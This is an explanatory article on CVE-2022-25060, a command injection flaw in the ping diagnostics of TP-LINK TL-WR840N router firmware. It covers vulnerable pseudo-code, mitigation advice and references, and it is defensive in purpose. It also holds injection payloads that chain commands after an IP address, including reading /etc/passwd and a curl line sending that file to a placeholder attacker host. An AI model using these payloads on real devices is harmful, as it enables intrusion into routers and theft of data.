TP-LINK is a popular name in the world of home networking devices. Their TL-WR840N router is one of the widely used models. Unfortunately, in 2022, security researchers uncovered a serious vulnerability in this router—especially in firmware version TL-WR840N(ES)_V6.20_180709. This security flaw, tracked as CVE-2022-25060, lets attackers run system commands on the router using a simple trick. In this article, we will dive deep into how this vulnerability works, see some code examples, check out the original research, and understand its real-world impact.
What Is CVE-2022-25060?
CVE-2022-25060 is a command injection vulnerability. It lives in the router’s web interface, particularly in a function called oal_startPing. This function’s job is to take user input (an IP address or hostname) and run the system’s ping command. Unfortunately, it doesn’t check if the input is safe—so an attacker can sneak in extra commands!
In plain words: any user who has access to the router’s web admin interface can tell the router not just to ping, but also to do anything else the Linux system can do. This can mean leaking sensitive information, changing router settings, or even bricking the device.
Deep Dive: Where’s the Problem?
The trouble starts from the router’s web interface for diagnostics. There’s usually a “Ping” page where you type an IP address or a website, and the router will ping it to check connectivity.
In firmware version TL-WR840N(ES)_V6.20_180709, the code handling this feature is careless
// pseudo-code for oal_startPing handler
char cmd[128];
sprintf(cmd, "ping %s", user_input); // No input sanitization!
system(cmd);
A proper handler would clean the user input to make sure it contains only a valid hostname or IP address—but this code just sticks whatever the user submits right into a shell command.
How Is It Exploited?
Let’s say you’re on the router’s web interface, and there’s a form to ping a host. If you put a normal IP address like 8.8.8.8, it just works. But you could enter something like this:
8.8.8.8; cat /etc/passwd
On the backend, the system would run the equivalent of
ping 8.8.8.8; cat /etc/passwd
Result: it pings the IP and then prints the contents of /etc/passwd, a file containing user account details.
For an even more malicious example, an attacker could add a new user, replace configuration files, or download and run malware if the router can reach the internet.
Here’s how a hacker would exploit this on the ping form of the TP-LINK router
Step 1: Access the “Ping” utility (Utilities > Diagnostics or similar).
Step 2: In “Destination IP/Domain Name”, enter
8.8.8.8; echo hacked > /tmp/pwned
If you have shell or telnet enabled, you could check later for the existence of /tmp/pwned—proving your command ran successfully!
Or, to exfiltrate data, you might use something like
8.8.8.8; curl http://attacker.site/$(cat /etc/passwd)
(Assuming the router’s shell has curl or wget, which is often true in embedded Linux).
Anyone with access to the router’s web admin page.
- If the admin page is open to the internet (bad idea anyway), attackers across the world can take over the device.
How Can You Fix or Mitigate This?
1. Update your router’s firmware: TP-LINK has released firmware updates fixing this issue. Check their website.
2. Never expose the admin interface to the internet. Always restrict management to local network only.
References
- Exploit Database #50836
- NVD - CVE-2022-25060
- Github: TP-Link TL-WR840N Command Injection Exploit
Conclusion
CVE-2022-25060 is a classic example of how neglecting input validation can lead to total system compromise. If you own a TP-LINK TL-WR840N running older firmware, update NOW—and check that your router’s web interface isn’t visible from the internet. Small mistakes in embedded software can have giant consequences, so always stay updated and informed.
If you found this post helpful, share it with anyone you know who might still be using this router.
Timeline
Published on: 02/25/2022 20:15:00 UTC
Last modified on: 03/09/2022 14:38:00 UTC